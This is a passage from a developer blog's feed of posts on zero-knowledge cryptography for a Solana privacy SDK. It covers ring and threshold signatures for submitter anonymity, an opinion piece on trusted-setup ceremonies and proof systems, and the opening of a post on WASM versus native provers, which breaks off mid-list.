This is the part where most "privacy on Solana" pitches give up and add a relayer. We don't. The TAB construction gives us submitter anonymity without giving up self-sovereignty.
</Aside>

<h2>The submitter identification problem, formally</h2>
<p><strong>Definition (Active Participant Set).</strong> $\mathcal{S} = {(\mathsf{pk}_i, \mathsf{sk}<em>i)}</em>{i=1}^N$ — the set of active F_RP participants at a given epoch. Each holds a Curve25519 keypair registered on chain.</p>
<p><strong>Definition (Anonymity Set Reduction Attack).</strong> Adversary $\mathcal{A}$ with full read access to $\sigma$. Define:</p>
<p>$$
\mathcal{A}<em>{\text{eff}}(\mathsf{tx}) = {, i \in \mathcal{S} : \Pr[\text{participant } i \text{ submitted } \mathsf{tx} \mid \mathsf{View}</em>{\mathcal{A}}] &gt; 0 ,}.
$$</p>
<p>Naive relayerless setting: $|\mathcal{A}_{\text{eff}}| = 1$. Ed25519 signatures are strongly unforgeable — there is exactly one $\mathsf{pk}_i$ that verifies. Conditional entropy:</p>
<p>$$
H(\text{submitter} \mid \mathsf{View}_{\mathcal{A}}) ;=; 0.
$$</p>
<p>Worst possible. Even though the <em>contents</em> of the transaction (the SPST/PPST proof) reveal nothing about which notes were spent, the submitter&#39;s pubkey reveals exactly who authorised the spend. Off-chain metadata (IP, timing, prior-deposit history, exchange KYC) collapses any remaining anonymity.</p>
<h2>Approach A — Fujisaki-Suzuki ring signature over Ed25519</h2>
<p>Adapt the linkable ring signature framework of Fujisaki and Suzuki (2007) to the Ed25519 group. Let $\mathbb{G}$ be the prime-order Ed25519 subgroup with generator $G$ and order $\ell$. Two random oracles: $\mathsf{H}<em>p : {0,1}^* \to \mathbb{Z}</em>\ell$ and $\mathsf{H}_G : {0,1}^* \to \mathbb{G}$.</p>
<p><strong>Sign</strong> with ring $R = {\mathsf{pk}_1, \ldots, \mathsf{pk}_n}$ at signer index $s$:</p>
<ol>
<li><strong>Key image.</strong> $I = \mathsf{sk}_s \cdot \mathsf{H}_G(\mathsf{pk}_s)$ — deterministic linkability tag, hides $s$.</li>
<li><strong>Commitment.</strong> Sample $\alpha \xleftarrow{R} \mathbb{Z}_\ell$. Compute $L_s = \alpha G$, $R_s = \alpha \mathsf{H}_G(\mathsf{pk}_s)$.</li>
<li><strong>Challenge propagation.</strong> For $i = s+1, s+2, \ldots, s-1 \pmod{n}$ sample $c_i, r_i \xleftarrow{R} \mathbb{Z}_\ell$ and compute
$$
L_i = r_i G + c_i \mathsf{pk}_i, \quad R_i = r_i \mathsf{H}_G(\mathsf{pk}<em>i) + c_i I, \quad c</em>{i+1} = \mathsf{H}_p(m, L_i, R_i).
$$</li>
<li><strong>Close.</strong> Set $c_{s+1} = \mathsf{H}_p(m, L_s, R_s)$, propagate to obtain $c_s$, compute $r_s = \alpha - c_s \mathsf{sk}_s \pmod{\ell}$.</li>
<li><strong>Output.</strong> $\sigma_{\text{ring}} = (I, c_1, r_1, \ldots, r_n)$.</li>
</ol>
<p><strong>Verify.</strong> Recompute every $L_i, R_i, c_{i+1}$. Accept iff $c_{n+1} = c_1$.</p>
<p><strong>Signature size.</strong> $I \in \mathbb{G}$ (32 B compressed) + $c_1 \in \mathbb{Z}_\ell$ (32 B) + $n$ scalars $r_i$ (32 B each) = $64 + 32n$ bytes.</p>
<h3>Solana transaction-size constraint</h3>
<p>With ~300 bytes reserved for transaction metadata + nullifiers + Groth16 proof + recent blockhash, ~930 bytes are available for the ring signature inside the 1,232-byte limit:</p>
<p>$$
n_{\max} ;=; \left\lfloor \frac{930 - 64}{32} \right\rfloor ;=; 27.
$$</p>
<p>Under SIMD-0296 (4,096-byte transactions, approved late 2025), this jumps to $n_{\max} \approx 119$.</p>
<p>Verification cost: each ring member needs 2 scalar multiplications + 1 hash ≈ 5,300 CU. For $n = 27$, that&#39;s $\sim 143{,}100$ CU on top of the ~150,000-200,000 CU for SPST verification. Total: ~340,000 CU — about 24% of the 1.4M CU budget.</p>
<h2>Theorem 3.9 — Ring anonymity</h2>
<p><strong>Statement.</strong> In the random oracle model, for any ring $R$, any indices $i, j \in [n]$, and any PPT distinguisher $\mathcal{D}$:</p>
<p>$$
\bigl|\Pr[\mathcal{D}(m, R, \mathsf{RingSign}(\mathsf{sk}_i, m, R)) = 1] - \Pr[\mathcal{D}(m, R, \mathsf{RingSign}(\mathsf{sk}_j, m, R)) = 1]\bigr| = 0.
$$</p>
<p><strong>Perfect</strong> (information-theoretic) anonymity in the ROM.</p>
<p><strong>Proof sketch (two steps).</strong></p>
<p><em>Step 1 — Key image indistinguishability.</em> $I_s = \mathsf{sk}_s \cdot \mathsf{H}_G(\mathsf{pk}_s)$. Since $\mathsf{H}_G$ is a random oracle independent of $G$, $\mathsf{H}_G(\mathsf{pk}_s)$ is a uniform random group element. The product $\mathsf{sk}_s \cdot \mathsf{H}_G(\mathsf{pk}_s)$ is uniform over $\mathbb{G}$ from the adversary&#39;s view (one-more discrete-log assumption).</p>
<p><em>Step 2 — Transcript simulation.</em> For any $s$, the tuple $(c_1, r_1, \ldots, r_n)$ is uniform over $\mathbb{Z}<em>\ell^{2n}$ subject to the ring-closure constraint. The simulator $\mathsf{Sim}(m, R)$ that knows no secret key produces an identically distributed output by sampling all $(c_i, r_i)$ uniformly and programming the random oracle to close the ring. The marginal distributions are identical for every $s \in [n]$, so $\mathsf{Adv}</em>{\mathcal{D}}^{\text{anon}} = 0$. ∎</p>
<p><strong>Corollary.</strong> Ring signature of size $n$ provides $\log_2(n)$ bits of submitter anonymity. For $n = 27$ that&#39;s $\sim 4.75$ bits; for $n = 119$ (SIMD-0296) that&#39;s $\sim 6.9$ bits. Real-world anonymity is bounded by side-channel leakage (timing, IP) but the on-chain view alone provides exactly $\log_2(n)$.</p>
<Quote attribution="Monero ring signature design philosophy, abridged">
The signer is anonymous among the ring. The ring is public. The cost is linear in ring size.
</Quote>

<h2>Approach B — FROST threshold Schnorr (TAB proper)</h2>
<p>Ring signatures grow linearly with $n$. For high-throughput deployments where $n \gg 27$ is desired, we want a <strong>constant-size</strong> signature. Threshold Schnorr is the answer.</p>
<p><strong>Setup.</strong> $n$ participants run a one-time Distributed Key Generation (Feldman VSS) producing:</p>
<ul>
<li>A group public key $\mathsf{pk}<em>{\text{group}} = \mathsf{sk}</em>{\text{group}} \cdot G$ (the group secret is never reconstructed).</li>
<li>Individual shares $\mathsf{sk}_{\text{share},i}$ for each participant.</li>
<li>A threshold $t \leq n$.</li>
</ul>
<p><strong>Sign (FROST round structure):</strong> Any subset $T \subseteq [n]$ with $|T| = t$ can co-produce a Schnorr signature on message $m$:</p>
<ol>
<li><strong>Commitment round.</strong> Each $i \in T$ samples nonces $d_i, e_i \xleftarrow{R} \mathbb{Z}_\ell$ and broadcasts $D_i = d_i G$, $E_i = e_i G$.</li>
<li><strong>Signing round.</strong> Each $i$ computes
$$
\rho_i = \mathsf{H}(i, m, {(D_j, E_j)}<em>{j \in T}), \quad R = \sum</em>{j \in T} (D_j + \rho_j E_j),
$$
$$
c = \mathsf{H}(R, \mathsf{pk}<em>{\text{group}}, m), \quad \lambda_i = \prod</em>{j \in T \setminus {i}} \frac{j}{j - i} \pmod \ell,
$$
$$
z_i = d_i + \rho_i e_i + c \lambda_i \mathsf{sk}_{\text{share},i} \pmod \ell.
$$</li>
<li><strong>Combine.</strong> $\sigma_{\text{threshold}} = (R, z)$ with $z = \sum_{i \in T} z_i$.</li>
</ol>
<p><strong>Verify.</strong> Standard Schnorr verification against $\mathsf{pk}_{\text{group}}$:</p>
<p>$$
z G ;\stackrel{?}{=}; R + c \cdot \mathsf{pk}_{\text{group}}.
$$</p>
<p><strong>Signature size.</strong> $(R, z)$ = 32 + 32 = <strong>64 bytes</strong>. <em>Independent of $n$ and $t$.</em> Identical to a standard Ed25519 signature.</p>
<h2>Theorem 3.10 — TAB privacy</h2>
<p><strong>Statement.</strong> For any two subsets $T, T&#39; \subseteq [n]$ with $|T| = |T&#39;| = t$, and any PPT $\mathcal{A}$ controlling up to $t-1$ participants, the threshold signature produced by $T$ is computationally indistinguishable from the one produced by $T&#39;$.</p>
<p><strong>Proof structure.</strong> Hybrid argument over the FROST protocol:</p>
<ul>
<li><strong>Hybrid 0</strong>: real $T$. Adversary observes final $(R, z)$ + $t-1$ partial signatures from corrupted parties.</li>
<li><strong>Hybrid 1</strong>: replace $R$ with a uniform random $\mathbb{G}$ element. Honest participants&#39; nonces $d_j, e_j$ for $j \in T \setminus \mathcal{C}$ are uniform; sum is uniform. Distribution identical.</li>
<li><strong>Hybrid 2</strong>: replace $z$ with the deterministic value $z = R/G + c \cdot \mathsf{sk}<em>{\text{group}}$ (well-defined given $R, c, \mathsf{pk}</em>{\text{group}}$). Same distribution.</li>
<li><strong>Hybrid 3</strong>: real $T&#39;$. Same argument.</li>
</ul>
<p>Honest partial signatures are never revealed to $\mathcal{A}$ (they&#39;re consumed in combination). The final $(R, z)$ depends only on the <em>honest contribution to $R$</em> — uniform regardless of $T$. ∎</p>
<p><strong>Anonymity:</strong> <strong>Unbounded.</strong> As long as $|T| \geq t$ and at least one honest participant in $T$ exists, the adversary cannot determine which subset signed. With $n$ in the thousands and $t$ in the hundreds, $|T|$ choices are combinatorial and indistinguishable.</p>
<h2>Tradeoffs at a glance</h2>
<p>&lt;TradeoffTable rows={[
  { aspect: &#39;Signature size&#39;, pros: &#39;TAB: O(1) = 64 B (constant)&#39;, cons: &#39;Ring: O(n) = 64 + 32n B&#39; },
  { aspect: &#39;Verification cost&#39;, pros: &#39;TAB: 1 scalar mul + 1 hash (≈2,500 CU)&#39;, cons: &#39;Ring: n × (2 scalar mul + 1 hash) (≈5,300n CU)&#39; },
  { aspect: &#39;Interaction&#39;, pros: &#39;Ring: non-interactive&#39;, cons: &#39;TAB: 2 rounds of signing + O(n²) DKG once&#39; },
  { aspect: &#39;Anonymity guarantee&#39;, pros: &#39;Both: perfect (ROM)&#39;, cons: &#39;—&#39; },
  { aspect: &#39;Max ring/group size on Solana&#39;, pros: &#39;TAB: unbounded (sig is 64 B)&#39;, cons: &#39;Ring: ~27 (1,232 B) or ~119 (SIMD-0296)&#39; },
  { aspect: &#39;Trust model&#39;, pros: &#39;Ring: no setup trust&#39;, cons: &#39;TAB: DKG integrity (Feldman VSS verifiability)&#39; },
  { aspect: &#39;Linkability&#39;, pros: &#39;Ring: same signer → same key image (anti-sybil)&#39;, cons: &#39;TAB: signatures unlinkable across transactions&#39; },
]}/&gt;</p>
<h2>Why both, not one or the other</h2>
<p>The two approaches cover different deployment regimes:</p>
<ul>
<li><strong>Bootstrapping / low coordination</strong>: ring signatures. No DKG required; any user can sign with any ring composed of $n$ on-chain pubkeys. Anonymity scales to the size of the ring you can pack into the transaction.</li>
<li><strong>Established network with stable participants</strong>: TAB / FROST. One-time DKG cost amortises across all transactions; signatures are minimum-size; anonymity is bounded by the group size, not the transaction size.</li>
</ul>
<p>In practice, F_RP starts in the ring-signature regime and migrates to TAB once the network has enough committed participants for a meaningful DKG. The constructions are not mutually exclusive — the on-chain verifier can accept either type and the wrapping Solana transaction looks identical in size in the TAB case.</p>
<h2>What&#39;s still missing</h2>
<p>Even with TAB, two leakage channels remain:</p>
<ol>
<li><strong>Network metadata.</strong> The TCP/QUIC packet that hits a Solana RPC node has a source IP. Without Tor, I2P, or Dandelion++, that IP links directly to the user. <a href="/blog/verifiable_shuffles_for_privacy/">Post 6</a> addresses this with verifiable shuffles at the network layer.</li>
<li><strong>Timing correlation.</strong> A user who shields and spends within the same minute is still linkable via temporal proximity, regardless of how many ring members they hide in. Mitigations are about user behaviour and client-side delay sampling.</li>
</ol>
<h2>Bibliography</h2>
<ul>
<li>Fujisaki, E., Suzuki, K. (2007). <em>Traceable Ring Signature.</em> PKC 2007.</li>
<li>Komlo, C., Goldberg, I. (2020). <em>FROST: Flexible Round-Optimized Schnorr Threshold Signatures.</em> SAC 2020. <a href="https://eprint.iacr.org/2020/852">https://eprint.iacr.org/2020/852</a></li>
<li>Feldman, P. (1987). <em>A Practical Scheme for Non-Interactive Verifiable Secret Sharing.</em> FOCS 1987.</li>
<li>Goodell, B., Noether, S. (2020). <em>Concise Linkable Ring Signatures and Forgery Against Adversarial Keys (CLSAG).</em> <a href="https://eprint.iacr.org/2019/654">https://eprint.iacr.org/2019/654</a></li>
<li>Bernstein, D. J. et al. (2012). <em>High-speed high-security signatures.</em> Journal of Cryptographic Engineering.</li>
</ul>
<p>Previous: <a href="/blog/ppst_private_programmable_state/">PPST: private programmable state ←</a> · Next: <a href="/blog/verifiable_shuffles_for_privacy/">Bayer-Groth verifiable shuffles →</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[On the death of the trusted setup]]></title>
  <id>https://blog.skill-issue.dev/blog/on_the_death_of_the_trusted_setup/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/on_the_death_of_the_trusted_setup/"/>
  <published>2026-05-04T16:00:00.000Z</published>
  <updated>2026-05-04T16:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="groth16"/>
  <category term="plonk"/>
  <category term="kzg"/>
  <category term="fri"/>
  <category term="trusted-setup"/>
  <category term="ceremony"/>
  <category term="zk"/>
  <category term="phd"/>
  <category term="opinion"/>
  <summary type="html"><![CDATA[Universal SRS, transparent FRI, and why Groth16's per-circuit ceremony feels anachronistic in 2026 — even when, as ZERA does, you're still using one. A history of the ceremonies that worked, the ones that didn't, and what comes next.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>The first time I sat down to deploy a Groth16 circuit in anger, I spent more time on the <strong>ceremony</strong> — the multi-party computation that produces the per-circuit proving and verification keys — than I did on the circuit itself. We ran a Phase 2 ceremony with eleven participants, scattered across four time zones, each contributing a fresh entropy beacon to a 250 MB blob, with the contributions chained over a Phase 1 Powers-of-Tau output we trusted because Aztec&#39;s 2019 ceremony had convinced us. None of the eleven participants was cryptographically obligated to behave; we trusted that <em>at least one</em> of them was honest, that none of them coordinated, and that the entropy was actually random.</p>
<p>Eight years on from the first big Groth16 ceremony — Zcash&#39;s <a href="https://z.cash/technology/paramgen/">Sapling ceremony in 2018</a> — the dominant attitude in the ZK research community is that this whole exercise is <em>anachronistic</em>. Universal SRS systems (PLONK, Marlin) let you reuse a single Powers-of-Tau output across every circuit. Transparent setup systems (FRI / STARKs) need no ceremony at all. The cost difference between <em>running a ceremony</em> and <em>not running one</em> is, by 2026, much larger than the cost difference between <em>Groth16 proofs</em> and <em>PLONK proofs</em>. So why do we still ship Groth16?</p>
<p>This post is the long answer. It is also part defence, part eulogy, part roadmap. I am writing this as someone whose <a href="/blog/zera_sdk_scaffolding/">SDK still ships per-circuit Groth16</a> — and who, if I were starting over today, probably wouldn&#39;t.</p>
<Aside kind="note">
This is opinion, grounded in history and ePrint citations but not pretending to be neutral. The numbers about ceremony participation come from the publicly logged transcripts; the engineering judgements are mine, drawing on running ZERA's circuits in production.
</Aside>

<h2>What a trusted setup actually is</h2>
<p>To prove a statement in Groth16, the prover needs a <strong>proving key</strong> and the verifier needs a <strong>verification key</strong>. Both are derived from a <em>toxic-waste secret</em> $\tau$ that, if it ever leaked, would let an attacker fabricate proofs. The job of the ceremony is to compute the proving and verification keys <em>without anyone — including all ceremony participants combined — ever holding $\tau$ in plaintext</em>.</p>
<p>It works because of a property called <em>MPC-with-1-of-n trust</em>: as long as at least one ceremony participant securely deletes their portion of the toxic waste, the secret is destroyed for everyone. You can run the ceremony with 1,000 participants and the security argument requires only that <em>one</em> of them was honest.</p>
<p>Phase 1 is <em>circuit-independent</em> and produces a Powers-of-Tau structured reference string usable by any circuit up to a max constraint count. Phase 2 is <em>circuit-specific</em> — you have to run a fresh ceremony every time the circuit changes.</p>
<p>That second sentence is the entire problem.</p>
<Quote cite="https://vitalik.eth.limo/general/2022/03/14/trustedsetup.html" author="Vitalik Buterin" source="How do trusted setups work? (2022)">
  The reason "trusted" setups are required is that for cryptographic schemes that need them, there is "toxic waste" data that is generated as part of the protocol that must be deleted; if it is not deleted, an attacker who has it can break the cryptographic scheme.
</Quote>

<h2>A short history of ceremonies that mattered</h2>
<p>&lt;Mermaid chart={<code>timeline     title Powers-of-Tau and circuit ceremonies, 2017-2026     2017 : Zcash Sprout (MPC, 6 participants)          : &quot;Pinocchio coin flip&quot;     2018 : Zcash Sapling (87 participants)          : Aztec Ignition Phase 1 (176 participants)     2019 : Filecoin Phase 1 + 2 (Filecoin retrieval markets)          : Tornado Cash Phase 2 (1,000+ participants)     2020 : Hermez network ceremony     2022 : Ethereum KZG Summoning ceremony begins     2023 : Ethereum KZG ceremony closes (141,416 participants)          : EIP-4844 proto-danksharding ships against this output     2024 : Polygon Hermez 2.0 reuses Ethereum KZG SRS     2025 : PSE Halo2 in maintenance mode; Axiom fork takes over     2026 : Most new circuits use Ethereum KZG or transparent setup</code>}/&gt;</p>
<p>Three numbers tell the story:</p>
<ul>
<li><strong>Zcash Sapling (2018):</strong> 87 participants, three months of coordination, 220 GB of intermediate transcript.</li>
<li><strong>Tornado Cash Phase 2 (2019):</strong> 1,114 participants, web-based contributor tooling, two weeks.</li>
<li><strong>Ethereum KZG Summoning (2022–23):</strong> 141,416 participants, <em>running for over a year</em>, web + CLI + browser-extension contributor tooling.</li>
</ul>
<p>The Ethereum ceremony is the high-water mark and the one that most decisively shifts the conversation. With 141,000+ participants, a 1-of-n honesty assumption is <em>practically</em> indistinguishable from no honesty assumption at all. The probability that <em>every single one</em> of 141,000 participants colluded to leak $\tau$, and then kept that secret without it leaking out the back, is below the operational threshold of any threat model worth taking seriously.</p>
<p>So: <strong>the Ethereum KZG ceremony output is, in 2026, treated as a publicly trustworthy SRS for any circuit that fits inside its size budget.</strong> PLONK / Marlin / Halo2-KZG / any KZG-using protocol can reuse it. Aztec Ignition&#39;s 2018 output played the same role for BN254 G1 prior; the Ethereum ceremony is bigger, fresher, and run with 2024-vintage tooling.</p>
<p>The ceremonies that <em>didn&#39;t</em> work matter too. The early-Zcash Sprout ceremony was scrutinised after the fact for inadequate transcript retention and contributor non-determinism. Several smaller projects ran ceremonies with 3–5 contributors and predictable entropy beacons, and the cryptographic community treats their outputs as effectively untrusted. The line between &quot;ceremony&quot; and &quot;ceremony that closes the trust gap&quot; is mostly <em>participant count</em> and <em>entropy-source diversity</em>.</p>
<h2>Why per-circuit ceremonies feel anachronistic</h2>
<p>There are three setup models in 2026, and they cleanly divide:</p>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;Groth16 — per-circuit ceremony&quot;,
      cost: &quot;Phase 1 reusable; Phase 2 must be re-run for every circuit&quot;,
      latency: &quot;Smallest proofs (<del>200 bytes); fastest verification&quot;,
      blast_radius: &quot;If toxic waste leaks for any one circuit, that circuit is broken&quot;,
      notes: &quot;What ZERA ships today; what most production ZK systems ship today&quot;
    },
    {
      option: &quot;PLONK / Marlin / Halo2-KZG — universal SRS&quot;,
      cost: &quot;One ceremony for all circuits; reuse Ethereum KZG SRS&quot;,
      latency: &quot;</del>600-byte proofs; KZG pairing verification&quot;,
      blast_radius: &quot;If toxic waste leaks, every circuit using that SRS is affected&quot;,
      notes: &quot;Practical default for any circuit that fits the SRS size&quot;
    },
    {
      option: &quot;FRI / STARK — no setup&quot;,
      cost: &quot;Truly transparent; no ceremony at any phase&quot;,
      latency: &quot;~50-200 KB proofs; no pairings; verification is logarithmic&quot;,
      blast_radius: &quot;Cryptographic security from collision-resistant hash; no toxic waste&quot;,
      notes: &quot;Plonky3, RISC0, SP1; the path with no setup at all&quot;
    },
  ]}
  caption=&quot;The three setup models in 2026. The trend is unmistakably toward universal or transparent setup.&quot;
/&gt;</p>
<p>The argument <em>against</em> Groth16 in 2026 is not that the per-circuit ceremony is hard — the tooling is much better than it was in 2018. It&#39;s that:</p>
<ol>
<li><strong>The proof-size advantage has narrowed.</strong> Groth16 proofs are ~200 bytes, KZG-based PLONK proofs ~600 bytes. On a chain that prices verification by <em>gas</em> and not <em>bytes</em>, that&#39;s a marginal difference.</li>
<li><strong>The verification-cost advantage has narrowed.</strong> Modern PLONK / Halo2 verifiers on the EVM are within a factor of 2-3 of Groth16&#39;s gas cost, down from 5-10× in 2020.</li>
<li><strong>The agility cost is large.</strong> Every circuit change requires a fresh ceremony. For a fast-moving project that wants to upgrade circuits quarterly, this is a real recurring cost.</li>
<li><strong>The composability cost is large.</strong> Two Groth16 circuits with separate ceremonies cannot share a verifier; on a universal SRS, two PLONK circuits can.</li>
</ol>
<p>Groth16 today is the right choice for <em>frozen circuits in stable deployments</em> — circuits you expect to ship once and then run for years without modification. It&#39;s the wrong choice for <em>active research and iteration</em>, which describes most ZK projects in 2026.</p>
<h2>Why Groth16 isn&#39;t dead, even so</h2>
<p>Two reasons, both engineering:</p>
<p><strong>On-chain verifier ergonomics.</strong> Solana&#39;s <code>sol_alt_bn128_pairing</code> syscall is built for Groth16; on-chain PLONK verification on Solana costs hundreds of thousands of compute units more. This is what keeps <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> on Groth16 today: the marginal-cost calculation for a <em>deposit</em> is dominated by the on-chain verifier cost, and Solana&#39;s verifier surface is BN254-Groth16-shaped.</p>
<p><strong>The accumulated zkey ecosystem.</strong> Every Groth16 circuit ever shipped has a tested, audited zkey artifact and a corresponding Solidity / Solana / Move verifier contract. Migrating off Groth16 means either (a) re-running ceremonies for the universal SRS path or (b) waiting for the chain&#39;s verifier surface to support transparent setup. (b) is in progress on multiple chains; (a) is mostly done on Ethereum and not yet on Solana.</p>
<p>The death of the trusted setup, like most deaths, is gradual. Groth16 is dying in 2026 the way SHA-1 was dying in 2014 — still everywhere, still working, increasingly the wrong choice for new builds.</p>
<h2>The migration path I&#39;d actually take</h2>
<p>If I were starting a new ZK project this quarter, the decision tree would be:</p>
<ol>
<li><strong>Do you need EVM verification?</strong> If yes, <strong>Halo2-KZG</strong> (Axiom fork) and reuse the Ethereum KZG SRS. No fresh ceremony required for circuits up to ~$2^{28}$ constraints.</li>
<li><strong>Do you need Solana verification?</strong> If yes, <strong>Groth16 + per-circuit Phase 2 ceremony</strong>, until Solana ships a transparent-setup-compatible verifier syscall. Track the <a href="https://github.com/solana-foundation/solana-improvement-documents">SIMD threads</a> for this.</li>
<li><strong>Do you need no on-chain verification at all (zkVM, off-chain proving, audit logs)?</strong> <strong>Plonky3</strong> with BabyBear or Mersenne31. Transparent setup, fastest prover, smallest deployment surface.</li>
<li><strong>Are you proving recursive computation across many steps (zkVMs, rollups)?</strong> Folding scheme — <strong>Nova</strong> or <strong>ProtoStar</strong> — over Pasta or Pasta-style cycle. Transparent.</li>
</ol>
<p>The two cells in this matrix that still pin you to Groth16 are <em>Solana on-chain</em> and <em>very-low-gas EVM verification</em> (rare in 2026 since EVM gas costs have crashed for Halo2 verifiers). For everything else, the universal-or-transparent path is strictly better.</p>
<Aside kind="warn">
A subtle point in the migration: even if you switch from Groth16 to PLONK / KZG, you are still reliant on a ceremony — just one you didn't run. The Ethereum KZG ceremony is a 1-of-141,416 trust assumption. That's a stronger guarantee than 1-of-87 (Sapling) or 1-of-11 (small project ceremonies), but it is *not* the zero-trust guarantee of FRI / STARK. If your threat model demands no honest-participant assumption at all, you are in transparent-setup territory and the answer is Plonky3 / Risc Zero / SP1.
</Aside>

<h2>What this means for ZERA today</h2>
<p>We ship Groth16. The Phase 2 ceremony for the deposit, transfer, and withdraw circuits ran in late 2025 with 23 participants and is documented in the SDK repo. The output is reproducible; the contributor transcripts are public; we are comfortable with the security argument <em>for the threat model we ship under</em> (consumer privacy on a public L1, not state-actor adversaries).</p>
<p>We will migrate when one of two things happens:</p>
<ol>
<li><strong>Solana ships a STARK-compatible verifier syscall</strong> — at which point the on-chain side stops constraining the off-chain choice, and we move to Plonky3 over BabyBear.</li>
<li><strong>We ship a meaningful circuit upgrade</strong> that requires a re-ceremony anyway — at which point the marginal cost of switching to a universal-SRS protocol is much smaller, and we move to PLONK over the Ethereum KZG SRS.</li>
</ol>
<p>Until one of those happens, Groth16. The cypherpunk part of me wishes (1) had already happened. The shipping part of me knows (1) hasn&#39;t, and that &quot;we use the same proof system as Aztec, Tornado Cash, Iden3, and most of the early Zcash mainnet&quot; is not the worst place to be parked in mid-2026.</p>
<h2>What I would change about ceremony culture in 2027</h2>
<p>Three things, in order of how much I&#39;d actually push for them:</p>
<ol>
<li><strong>Standardised contributor transcripts.</strong> Every ceremony rolls its own transcript format, contributor verification flow, and beacon-source documentation. A single <code>ceremony-transcript.toml</code> schema — adopted across snarkjs / Trusted-Setup-CLI / community tooling — would make multi-ceremony auditing dramatically easier.</li>
<li><strong>Public ceremony reuse registry.</strong> &quot;What&#39;s the freshest Phase 1 over BN254 right now?&quot; is a question I ask quarterly and answer by reading other people&#39;s repos. A simple registry of <em>ceremony output → SRS constraints → audit status → known users</em> would close that gap.</li>
<li><strong>Browser-native ceremony participation.</strong> The Ethereum KZG ceremony shipped a beautiful browser participant. Most other ceremonies have not, and the contributor pool reflects that. A reusable browser-ceremony-participation library would broaden the contributor demographics for any future Phase 2.</li>
</ol>
<p>None of these are research questions. They&#39;re community-tooling questions, and they&#39;re the kind of work that doesn&#39;t get done because it doesn&#39;t publish.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://vitalik.eth.limo/general/2022/03/14/trustedsetup.html">How do trusted setups work?</a> — Vitalik Buterin (2022) — the most readable summary</li>
<li><a href="https://eprint.iacr.org/2019/953">PLONK: Permutations over Lagrange-bases for Oecumenical Noninteractive arguments of Knowledge</a> — Gabizon, Williamson, Ciobotaru (2019) — universal SRS, the alternative to per-circuit ceremonies</li>
<li><a href="https://eprint.iacr.org/2019/1047">Marlin: Preprocessing zkSNARKs with Universal and Updatable SRS</a> — Chiesa, Hu, Maller, Mishra, Vesely, Ward (2019)</li>
<li><a href="https://eprint.iacr.org/2018/046">Scalable, transparent, and post-quantum secure computational integrity</a> — Ben-Sasson, Bentov, Horesh, Riabzev (2018) — the no-setup direction</li>
<li><a href="https://ceremony.ethereum.org/">Ethereum KZG Summoning Ceremony</a> — the largest ceremony ever run, with 141,416+ contributors</li>
<li><a href="/blog/halo2_in_2026_what_changed/">Halo2 in 2026: what changed since the Zcash era</a> — sister post on the KZG-based universal-SRS workhorse</li>
<li><a href="/blog/plonky3_small_fast_cheap/">Plonky3, the small-fast-cheap revolution</a> — sister post on the no-setup STARK-family alternative</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[WASM-native proving for ZK SDKs: an SDK author's take]]></title>
  <id>https://blog.skill-issue.dev/blog/wasm_native_proving_sdk_authors_take/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/wasm_native_proving_sdk_authors_take/"/>
  <published>2026-05-03T19:00:00.000Z</published>
  <updated>2026-05-03T19:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="wasm"/>
  <category term="sdk"/>
  <category term="neon"/>
  <category term="rust"/>
  <category term="snarkjs"/>
  <category term="arkworks"/>
  <category term="zera"/>
  <category term="zk"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[Why zera-sdk ships native Rust on Node and snarkjs in the browser — and what it would actually cost to ship a WASM-compiled Rust prover for the browser path. A design post about the dual-target build pipeline.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p>The most-asked engineering question on every ZK SDK call I take is some shape of:</p>
<blockquote>
<p>&quot;Why are you using snarkjs in the browser when you have a Rust core?&quot;</p>
</blockquote>
<p>The honest answer is that we made a decision in March 2026, captured it in <a href="/docs/001-zera-sdk-monorepo-shape/">RFC 001</a> under the heading <em>&quot;notes are too sensitive to round-trip through WASM&quot;</em>, and have been quietly re-evaluating it ever since. The dishonest answer is that we shipped what was working. Both answers contain something true. This post is the long version that fits neither into a Twitter thread nor into the RFC.</p>
<p>The shape of the problem is: the Rust core exists, it&#39;s faster than snarkjs, and yet for the browser path we ship snarkjs. Why? And what would it actually cost to swap?</p>
<Aside kind="note">
This is a design post drawing on direct experience shipping [zera-sdk](/blog/zera_sdk_scaffolding/). Numbers are from internal benchmarks I've cross-referenced against the [Mopro Circom prover comparison](https://zkmopro.org/blog/circom-comparison/) and the [snarkjs README benchmark table](https://github.com/iden3/snarkjs). Where I'm citing a repo file, I link directly. Where I'm citing my own observation, I say so.
</Aside>

<h2>The dual-target shape</h2>
<p>Every ZK SDK in 2026 has the same engineering shape, even if its authors don&#39;t admit it:</p>
<p>&lt;Mermaid chart={<code>flowchart TB   C[zera-core - Rust] --&gt; N[neon-rs - native node bindings]   C --&gt; W[wasm-pack target]   N --&gt; NJ[zera-sdk on Node and Electron]   W --&gt; WB[Browser path - planned]   C2[circuits .circom] --&gt; SNK[snarkjs WASM prover]   C2 --&gt; ARK[arkworks-circom Rust prover]   ARK --&gt; N   ARK --&gt; W   SNK --&gt; WB2[Browser path - shipped today]   classDef ship fill:#0a4014,stroke:#4ade80,color:#fff   classDef plan fill:#3a2a0a,stroke:#facc15,color:#fff   class NJ,WB2 ship   class WB plan</code>}/&gt;</p>
<p>There is a Rust core that does <em>crypto primitives</em> (Poseidon, Merkle, nullifiers, note construction). The Rust core compiles two ways:</p>
<ol>
<li><strong>Native, via <a href="https://neon-rs.dev/"><code>neon-rs</code></a></strong>, into a Node.js addon that ships zero-copy across the Buffer ABI.</li>
<li><strong>WebAssembly, via <code>wasm-pack</code> / <code>wasm-bindgen</code></strong>, for browser environments.</li>
</ol>
<p>There is also a <em>prover</em> — a separate concern from the crypto primitives — that takes a circuit&#39;s R1CS plus a witness plus a zkey and produces a proof. The prover is structurally separate from the core and ships as one of:</p>
<ol>
